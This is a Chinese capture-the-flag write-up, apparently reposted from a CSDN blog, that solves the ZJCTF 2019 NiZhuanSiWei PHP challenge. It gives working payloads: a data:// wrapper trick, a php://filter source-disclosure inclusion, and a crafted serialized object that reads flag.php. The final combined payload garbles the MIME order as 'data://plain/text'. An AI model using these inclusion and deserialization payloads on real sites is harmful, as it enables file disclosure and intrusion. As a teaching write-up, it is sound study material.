欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > [ZJCTF 2019]NiZhuanSiWei1

[ZJCTF 2019]NiZhuanSiWei1

2024/10/25 7:22:43 来源:https://blog.csdn.net/kw741951/article/details/140849305  浏览:    关键词:[ZJCTF 2019]NiZhuanSiWei1

打开题目

php代码审计

.从代码中可以看出要求,以get方式传递text,file,password三个参数。

3.第一层验证if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  传入text,而且file_get_contents($text,'r')之后内容为“welcome to the zjctf”

  利用php伪协议中的data协议,payload为text=data://text/plain,welcome to the zjctf

  file_get_contents($text,'r')的时候,$text=data://text/plain,welcome to the zjctf会被当做url处理,而读取到的内容就是逗号后面的输入

传入file参数,file如果不包含flag就会被包含。根据提示,我们需要包含useless.php

在进行文件包含的时候,我们可以利用php://filter伪协议查看源代码

payload:file=php://filter/convert.base64-encode/resource=useless.php

base64解码得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

代码审计传递password参数

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  

得到结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

联合起来,payload为:?text=data://plain/text,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

根据提示查看源码

得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com